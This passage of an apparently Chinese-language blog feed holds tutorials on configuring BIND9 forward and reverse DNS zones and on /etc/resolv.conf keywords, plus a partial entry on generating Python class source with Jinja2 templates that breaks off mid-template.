        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux运维bind9-dns正向解析dns反向解析/">&lt;h1 id=&quot;linuxyun-wei-bind9-dnszheng-xiang-jie-xi-dnsfan-xiang-jie-xi&quot;&gt;Linux运维bind9-DNS正向解析DNS反向解析&lt;&#x2F;h1&gt;
&lt;p&gt;在&lt;strong&gt;DNS&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cns?from_column=20065&amp;amp;from=20065&quot;&gt;域名解析&lt;&#x2F;a&gt;服务中，正向解析是指根据域名（主机名）查找到对应的IP地址。也就是说，当用户输入了一个域名后，bind服务程序会自动进行查找，并将匹配到的IP地址返给用户。这也是最常用的DNS工作模式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;正向解析&lt;&#x2F;strong&gt;: 根据主机名(域名)查找对应的IP地址。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zi-ding-yi-qu-yu-pei-zhi-wen-jian&quot;&gt;自定义区域配置文件&lt;&#x2F;h4&gt;
&lt;p&gt;这里自定义了一个boysec.cn的主机域，可以放在&#x2F;etc&#x2F;named.rfc1912.zones文件中，也可以放置在自定义的文件中，在&#x2F;etc&#x2F;named.conf里include进来&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns ~]# cat &amp;#x2F;etc&amp;#x2F;named.rfc1912.zones
zone &amp;quot;boysec.cn&amp;quot; IN {
      type    master;              #服务类型
      file    &amp;quot;boysec.cn.zone&amp;quot;;     #解析规则保存文件名称
      allow-update { none; };      #运行那些客户机动态更新解析信息
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zi-ding-yi-qu-yu-shu-ju-ku-wen-jian&quot;&gt;自定义区域数据库文件&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;一般而言是文本文件，且只包含&lt;strong&gt;资源记录&lt;&#x2F;strong&gt;、&lt;strong&gt;宏定义&lt;&#x2F;strong&gt;和&lt;strong&gt;注释&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;需在自定义区域配置文件中指定存放路径，可以绝对路径或相对路径（相对于&#x2F;var&#x2F;named目录）&lt;&#x2F;li&gt;
&lt;li&gt;注意文件的属性（属主、属组及权限）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# cat boysec.cn.zone
$ORIGIN .
$TTL 1D ;生存周期为1天
boysec.cn       IN SOA  ns.boysec.cn.   root.boysec.cn. (
                        2021 ;serial    #更新序列号
                        1D   ;refresh   #更新时间
                        1H   ;retry     #重试延时
                        1W   ;expire    #失效时间
                        3H   ;minimum   #无效解析记录的缓存时间
                        )
                NS      ns.boysec.cn.
$ORIGIN boysec.cn.
ns      A       10.1.1.250
www     A       1.2.3.4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zi-yuan-ji-lu-resource-record&quot;&gt;资源记录（Resource Record）&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;name [ttl(缓存时间)] IN 资源记录类型（RRtype） Value&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h5 id=&quot;chang-yong-zi-yuan-ji-lu-lei-xing-rr-type&quot;&gt;常用资源记录类型（RR-type）&lt;&#x2F;h5&gt;
&lt;h5 id=&quot;soaji-lu&quot;&gt;SOA记录&lt;&#x2F;h5&gt;
&lt;p&gt;SOA: 起始授权，只能有一条,可以理解为一段为自己dns做备注说明的文本,一般与ns一致&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name:只能是区域名称，通常可以简写为@，例如：od.com.&lt;&#x2F;li&gt;
&lt;li&gt;value:有n个数值，最主要的是主DNS&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;act&#x2F;pro&#x2F;promotion-cvm?from_column=20065&amp;amp;from=20065&quot;&gt;服务器&lt;&#x2F;a&gt;的FQDN，点不可省略&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：SOA必须是区域&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;solution&#x2F;database?from_column=20065&amp;amp;from=20065&quot;&gt;数据库&lt;&#x2F;a&gt;文件第一条记录&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;@ 600 IN SOA  dns.boysec.cn. 管理员邮箱（dnsadmin.boysec.cn.）（
     序列号(serial number) ;注释内容，十进制数据，不能超过10位，通常使用日期时间戳，例如20210115
     刷新时间(refresh time) ;即每隔多久到主服务器检查一次
     重试时间(retry time) ;应该小于refresh time
     过期时间(expire time);当辅助DNS服务器无法联系上主DNS服务器时，辅助DNS服务器可以在多长时间内认为其缓存是有效的，并供用户查询。
     netgative answer ttl ;非权威应答的ttl，缓存DNS服务器可以缓存记录多长时间
 ）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;nsji-lu&quot;&gt;NS记录&lt;&#x2F;h5&gt;
&lt;p&gt;NS：可以有多条，每一个NS记录，&lt;strong&gt;必须&lt;&#x2F;strong&gt;对应一个A记录&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name:区域名称，通常可以简写为@&lt;&#x2F;li&gt;
&lt;li&gt;value:DNS服务器的FQDN(可以使用相对名称)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;@ 600 IN NS ns1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;aji-lu&quot;&gt;A记录&lt;&#x2F;h5&gt;
&lt;p&gt;A：只能定义在正向区域数据库文件中（ipv4-&amp;gt;FQDN）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name:FQDN（可以使用相对名称)&lt;&#x2F;li&gt;
&lt;li&gt;value:IP&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;www  600(单位s) IN A 10.1.1.250
www  600(单位s) IN A 10.1.1.250
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注&lt;&#x2F;strong&gt; 可以做轮询&lt;&#x2F;p&gt;
&lt;h5 id=&quot;mxji-lu&quot;&gt;MX记录&lt;&#x2F;h5&gt;
&lt;p&gt;MX:邮件交换记录，可以有多个（用的不多）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name:区域名称，用于标识smtp服务器&lt;&#x2F;li&gt;
&lt;li&gt;value:包含优先级和FQDN&lt;&#x2F;li&gt;
&lt;li&gt;优先级:0-99，数字越小，级别越高，&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;@ 600 IN MX 10 mail
@ 600 IN MX 20 smtp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;cnameji-lu&quot;&gt;CNAME记录&lt;&#x2F;h5&gt;
&lt;p&gt;CNAME：canonical name，别名（FQDN-&amp;gt;FQDN）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;name ：FQDN&lt;&#x2F;li&gt;
&lt;li&gt;value :FQDN&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;例子：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;eshop IN CNAME www
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;hong-ding-yi&quot;&gt;宏定义&lt;&#x2F;h5&gt;
&lt;ul&gt;
&lt;li&gt;$ORIGIN .&lt;&#x2F;li&gt;
&lt;li&gt;$TTL 60&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h6 id=&quot;zhu-shi&quot;&gt;注释&lt;&#x2F;h6&gt;
&lt;p&gt;区域数据库文件中使用&lt;code&gt;;&lt;&#x2F;code&gt;（分号）来进行注释&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jian-cha-pei-zhi-bing-sheng-xiao&quot;&gt;检查配置并生效&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;jian-cha-zi-ding-yi-qu-yu-pei-zhi&quot;&gt;检查自定义区域配置&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# named-checkzone boysec.cn &amp;#x2F;var&amp;#x2F;named&amp;#x2F;chroot&amp;#x2F;etc&amp;#x2F;boysec.cn.zone
zone boysec.cn&amp;#x2F;IN: loaded serial 2021
OK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;jian-cha-zhu-pei-zhi-wen-jian&quot;&gt;检查主配置文件&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# named-checkconf -z &amp;#x2F;etc&amp;#x2F;named.conf
zone boysec.cn&amp;#x2F;IN: loaded serial 2021
[root@k8s-dns etc]# named-checkconf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zhong-qi-namedfu-wu&quot;&gt;重启named服务&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# systemctl restart named
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;yan-zheng-jie-xi&quot;&gt;验证解析&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# nslookup www.boysec.cn
Server:         10.1.1.250
Address:        10.1.1.250#53

Name:   www.boysec.cn
Address: 1.2.3.4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;fan-xiang-jie-xi&quot;&gt;反向解析&lt;&#x2F;h3&gt;
&lt;p&gt;在DNS域名解析服务中，反向解析的作用是将用户提交的IP地址解析为对应的域名信息，它一般用于对某个IP地址上绑定的所有域名进行整体屏蔽，屏蔽由某些域名发送的垃圾邮件。它也可以针对某个IP地址进行反向解析，大致判断出有多少个网站运行在上面。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;反向解析&lt;&#x2F;strong&gt;:根据IP地址查找对应的主机名(域名)。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tian-jia-fan-jie-yu-zi-ding-qu-yu&quot;&gt;添加反解域自定区域&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;vim &amp;#x2F;etc&amp;#x2F;named.rfc1912.zones
zone &amp;quot;1.1.10.in-addr.arpa&amp;quot; IN {
      type master;
      file &amp;quot;1.1.10.in-addr.arpa.zone&amp;quot;;
      allow-update { none; };
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;tian-jia-fan-jie-yu-de-qu-yu-shu-ju-ku-wen-jian&quot;&gt;添加反解域的区域数据库文件&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# cat 1.1.10.in-addr.arpa.zone
$TTL 600        ; 10 minutes
@                       IN SOA  dns.boysec.cn. dnsadmin.boysec.cn. (
                                20210115 ; serial
                                10800      ; refresh (3 hours)
                                900       ; retry (15 minutes)
                                604800     ; expire (1 week)
                                86400      ; minimum (1 day)
                                )
                            NS   ns1.boysec.cn.
$ORIGIN 1.1.10.in-addr.arpa.
$TTL 60 ; 1 minute
250                     PTR              k8s-dns.boysec.cn.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：一个IP只能对应唯一的FQDN反解PTR记录，且应该与正解A记录对应&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jian-cha-fan-jie-yu-de-pei-zhi&quot;&gt;检查反解域的配置&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# named-checkzone 1.1.10.in-addr-arpa &amp;#x2F;var&amp;#x2F;named&amp;#x2F;chroot&amp;#x2F;etc&amp;#x2F;1.1.10.in-addr.arpa.zone
zone 1.1.10.in-addr-arpa&amp;#x2F;IN: loaded serial 20210115
OK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zhong-qi-fu-wu-jian-cha-jie-xi-jie-guo&quot;&gt;重启服务，检查解析结果&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[root@k8s-dns etc]# systemctl restart named
## 方法一
[root@k8s-dns etc]# dig -t PTR 250.1.1.10.in-addr.arpa @10.1.1.250 +short
k8s-dns.boysec.cn.

## 方法二
[root@k8s-dns etc]# dig -x 10.1.1.250 @10.1.1.250 +short
k8s-dns.boysec.cn.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux配置etcresolv.conf详解</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux配置etcresolv.conf详解/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux配置etcresolv.conf详解/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux配置etcresolv.conf详解/">&lt;h2 id=&quot;yi-ju-ti-shuo-ming&quot;&gt;一.具体说明&lt;&#x2F;h2&gt;
&lt;p&gt;&#x2F;etc&#x2F;resolv.conf是DNS客户机的配置文件，用于设置DNS服务器的IP地址及DNS域名，还包含了主机的域名搜索顺序。该文件是由域名解析器(resolver，一个根据主机名解析IP地址的库)使用的配置文件。它的格式比较简单，每行以一个关键字开头，后接一个或多个由空格隔开的参数。&lt;&#x2F;p&gt;
&lt;p&gt;resolv.conf的关键字主要有4个，分别为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;nameserver：定义DNS服务器的IP地址&lt;&#x2F;li&gt;
&lt;li&gt;domain：定义本地域名&lt;&#x2F;li&gt;
&lt;li&gt;search：定义域名的搜索列表&lt;&#x2F;li&gt;
&lt;li&gt;sortlist：对返回的域名进行排序
注意：这里最主要的就是nameserver关键字，如果没有指定nameserver就找不到DNS服务，其它关键字是可选的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-1-can-shu-jie-shi&quot;&gt;1.1 参数解释&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;nameserver
表明DNS服务器的IP地址。可以有很多行的nameserver，每一个带一个IP地址。在查询时就按nameserver在本文件中的顺序进行，且只有当第一个nameserver没有反应时才查询下面的nameserver。&lt;&#x2F;li&gt;
&lt;li&gt;domain
声明主机的域名。很多程序用到它，如邮件系统；当为没有域名的主机进行DNS查询时，也要用到。如果没有域名，主机名将被使用，删除所有在第一个点( .)前面的内容。&lt;&#x2F;li&gt;
&lt;li&gt;search
它的多个参数指明域名查询顺序。当要查询没有域名的主机，主机将在由search声明的域中分别查找。domain和search不能共存；如果同时存在，后面出现的将会被使用。&lt;&#x2F;li&gt;
&lt;li&gt;sortlist
允许将得到域名结果进行特定的排序。它的参数为网络&#x2F;掩码对，允许任意的排列顺序。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;1-2-ju-li-shuo-ming&quot;&gt;1.2 举例说明&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;etc&amp;#x2F;resolv.conf
domain  51osos.com
search  www.51osos.com  51osos.com
nameserver 202.102.192.68
nameserver 202.102.192.69
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;1）nameserver：表示域名解析时，使用该地址指定的主机为域名服务器，其中域名服务器是按照文件中出现的顺序来查询的，且&lt;strong&gt;只有当第一个nameserver没有反应时才查询下面的nameserver&lt;&#x2F;strong&gt;。
2）domain：声明主机的域名，很多程序会用到，如邮件系统。当为没有域名的主机进行DNS查询时，也要用到。如果没有域名，主机名将被使用，删除所有在第一个点(.)前面的内容。
3）search：它的多个参数指明域名查询顺序，当要查询没有域名的主机，主机将在由search声明的域中分别查找。
&lt;strong&gt;注意：search和domain不能共存，如果同时存在，后面出现的将会被使用。&lt;&#x2F;strong&gt;
4）sortlist：运行将得到域名结果进行特定的排序。它的参数为网络&#x2F;掩码对，允许任意的排列顺序。&lt;&#x2F;p&gt;
&lt;p&gt;&quot;search domainname.com&quot;表示当提供了一个不包含完全域名的主机名时，在该主机名后添加domainname.com的后缀；&quot;nameserver&quot;表示解析域名时使用该地址指定的主机为域名服务器。其中域名服务器是按照文件中出现的顺序来查询的。其中domain和search可以同时存在，也可以只有一个，nameserver可以指定多个。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>python 动态构造class</title>
        <published>2025-12-10T00:00:00+00:00</published>
        <updated>2025-12-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/python-动态构造class/"/>
        <id>https://vercel.juzhong.asia/obsidian/python-动态构造class/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/python-动态构造class/">&lt;h1 id=&quot;python-dong-tai-gou-zao-class&quot;&gt;python 动态构造class&lt;&#x2F;h1&gt;
&lt;p&gt;动态执行代码（如 &lt;code&gt;exec&lt;&#x2F;code&gt;）后，用 &lt;code&gt;inspect&lt;&#x2F;code&gt; 或直接构造源码字符串&lt;&#x2F;p&gt;
&lt;p&gt;，将定义的类及其属性保存为 &lt;code&gt;.py&lt;&#x2F;code&gt; 文件。核心思路是：&lt;strong&gt;在动态定义类之后，提取其结构（类名、属性、方法），再生成对应的 Python 源码并写入文件&lt;&#x2F;strong&gt;。下面提供&lt;strong&gt;两种实用方案&lt;&#x2F;strong&gt;（推荐方案一）：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;white-check-mark-fang-an-yi-dong-tai-ding-yi-hou-shou-dong-gou-zao-yuan-ma-zi-fu-chuan-zui-ke-kao-ke-kong-xing-qiang&quot;&gt;✅ 方案一：动态定义后，&lt;strong&gt;手动构造源码字符串&lt;&#x2F;strong&gt;（最可靠，可控性强）&lt;&#x2F;h3&gt;
&lt;p&gt;生成的 &lt;code&gt;generated_class.py&lt;&#x2F;code&gt; 内容为：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;✅ 优点：简单、安全、可读性强；适合普通数据类型（str&#x2F;int&#x2F;float&#x2F;list&#x2F;dict 等）
⚠ 注意：&lt;code&gt;repr()&lt;&#x2F;code&gt; 对复杂对象（如函数、自定义类实例）可能不理想，需额外处理&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;white-check-mark-fang-an-er-shi-yong-inspect-ast-gao-ji-zhi-chi-fang-fa-dan-jiao-fu-za&quot;&gt;✅ 方案二：使用 &lt;code&gt;inspect&lt;&#x2F;code&gt; + &lt;code&gt;ast&lt;&#x2F;code&gt;（高级，支持方法，但较复杂）&lt;&#x2F;h3&gt;
&lt;p&gt;如果类中还有&lt;strong&gt;动态添加的方法&lt;&#x2F;strong&gt;，可用 &lt;code&gt;inspect.getsource()&lt;&#x2F;code&gt;（但要求方法是定义在源码中的，&lt;code&gt;exec&lt;&#x2F;code&gt; 中的 lambda&#x2F;def 通常拿不到源码），更通用的是结合 &lt;code&gt;ast&lt;&#x2F;code&gt; 构建（略复杂）。&lt;&#x2F;p&gt;
&lt;p&gt;简化版支持方法（仅当方法是 &lt;code&gt;def&lt;&#x2F;code&gt; 形式且在 &lt;code&gt;exec&lt;&#x2F;code&gt; 字符串中）：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lock-an-quan-ti-xing-zhong-yao&quot;&gt;🔒 安全提醒（重要！）&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;exec()&lt;&#x2F;code&gt; 有安全风险！&lt;strong&gt;切勿执行不可信来源的代码&lt;&#x2F;strong&gt;（可导致任意代码执行）。&lt;&#x2F;li&gt;
&lt;li&gt;如需持久化类定义，更推荐：&lt;strong&gt;用模板（如 Jinja2）或数据驱动方式生成代码&lt;&#x2F;strong&gt;，而非 &lt;code&gt;exec&lt;&#x2F;code&gt; → 再保存。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;dart-jin-jie-jian-yi-sheng-chan-huan-jing&quot;&gt;🎯 进阶建议（生产环境）&lt;&#x2F;h3&gt;
&lt;p&gt;如果你频繁需要“动态建类 → 序列化为代码”，可考虑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;dataclasses&lt;&#x2F;code&gt; + &lt;code&gt;@dataclass&lt;&#x2F;code&gt; 动态生成&lt;&#x2F;li&gt;
&lt;li&gt;用 &lt;code&gt;type(name, bases, dict)&lt;&#x2F;code&gt; 构造类，并记录 &lt;code&gt;dict&lt;&#x2F;code&gt; 内容&lt;&#x2F;li&gt;
&lt;li&gt;用 &lt;code&gt;pydantic&lt;&#x2F;code&gt; 或 &lt;code&gt;attrs&lt;&#x2F;code&gt; 库辅助生成可序列化结构&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;需要我帮你封装一个通用函数 &lt;code&gt;save_class_to_file(cls, filename)&lt;&#x2F;code&gt; 吗？欢迎补充你的具体场景～&lt;&#x2F;p&gt;
&lt;p&gt;非常好的问题！我们来系统讲解——&lt;strong&gt;如何在生产环境中安全、可靠地动态生成并持久化 Python 类定义&lt;&#x2F;strong&gt;，避免 &lt;code&gt;exec&lt;&#x2F;code&gt; 的安全与维护隐患。&lt;&#x2F;p&gt;
&lt;p&gt;核心思想：&lt;strong&gt;数据驱动 + 模板生成&lt;&#x2F;strong&gt;
👉 将「类的结构」抽象为&lt;strong&gt;数据（如字典、YAML&#x2F;JSON 配置）&lt;&#x2F;strong&gt; ，再通过模板渲染成合法 Python 源码。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;white-check-mark-tui-jian-fang-an-zong-lan&quot;&gt;✅ 推荐方案总览&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;推荐工具&lt;&#x2F;th&gt;&lt;th&gt;优点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;简单类（属性为主）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;string.Template&lt;&#x2F;code&gt;&#x2F; f-string&lt;&#x2F;td&gt;&lt;td&gt;无依赖，轻量&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;复杂类（属性+方法+注解）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Jinja2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;表达力强，模板复用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;需类型提示 &#x2F; 数据校验&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;pydantic&lt;&#x2F;code&gt;+ 动态生成&lt;&#x2F;td&gt;&lt;td&gt;类型安全，自文档化&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;高性能 &#x2F; 编译时生成&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ast&lt;&#x2F;code&gt;+&lt;code&gt;compile&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;100% 合法 AST，可 lint&#x2F;format&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;wrench-fang-an-yi-jinja2-mo-ban-qu-dong-zui-tui-jian&quot;&gt;🔧 方案一：Jinja2 模板驱动（最推荐！）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;bu-zou-1-ding-yi-lei-jie-gou-wei-shu-ju&quot;&gt;步骤 1：定义类结构为数据&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;python3&quot; class=&quot;language-python3 &quot;&gt;&lt;code class=&quot;language-python3&quot; data-lang=&quot;python3&quot;&gt;# config.py 或 config.yaml
class_spec = {
    &amp;quot;name&amp;quot;: &amp;quot;User&amp;quot;,
    &amp;quot;docstring&amp;quot;: &amp;quot;动态生成的用户模型&amp;quot;,
    &amp;quot;attributes&amp;quot;: [
        {&amp;quot;name&amp;quot;: &amp;quot;id&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;int&amp;quot;, &amp;quot;default&amp;quot;: 0, &amp;quot;comment&amp;quot;: &amp;quot;用户ID&amp;quot;},
        {&amp;quot;name&amp;quot;: &amp;quot;name&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;str&amp;quot;, &amp;quot;default&amp;quot;: &amp;quot;&amp;#x27;&amp;#x27;&amp;quot;, &amp;quot;comment&amp;quot;: &amp;quot;用户名&amp;quot;},
        {&amp;quot;name&amp;quot;: &amp;quot;email&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;str | None&amp;quot;, &amp;quot;default&amp;quot;: &amp;quot;None&amp;quot;},
        {&amp;quot;name&amp;quot;: &amp;quot;_created_at&amp;quot;, &amp;quot;type&amp;quot;: &amp;quot;float&amp;quot;, &amp;quot;default&amp;quot;: &amp;quot;time.time()&amp;quot;, &amp;quot;private&amp;quot;: True},
    ],
    &amp;quot;methods&amp;quot;: [
        {
            &amp;quot;name&amp;quot;: &amp;quot;greet&amp;quot;,
            &amp;quot;args&amp;quot;: [&amp;quot;self&amp;quot;],
            &amp;quot;return_type&amp;quot;: &amp;quot;str&amp;quot;,
            &amp;quot;body&amp;quot;: [
                &amp;#x27;return f&amp;quot;Hello, {self.name}!&amp;quot;&amp;#x27;
            ]
        }
    ],
    &amp;quot;imports&amp;quot;: [&amp;quot;import time&amp;quot;]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bu-zou-2-bian-xie-jinja2-mo-ban-class-template-j2&quot;&gt;步骤 2：编写 Jinja2 模板 &lt;code&gt;class_template.j2&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;jinja2&quot; class=&quot;language-jinja2 &quot;&gt;&lt;code class=&quot;language-jinja2&quot; data-lang=&quot;jinja2&quot;&gt;{{ &amp;#x27;\n&amp;#x27;.join(imports) if imports else &amp;#x27;&amp;#x27; }}

class {{ name }}:
    &amp;quot;&amp;quot;&amp;quot;{{ docstring }}&amp;quot;&amp;quot;&amp;quot;

    {% for attr in attributes %}
    {% if attr.comment %}# {{ attr.comment }}{% endif %}
    {{ attr.name }}: {{ attr.type }} = {{ attr.default }}
    {% endfor %}

    {% for method in methods %}
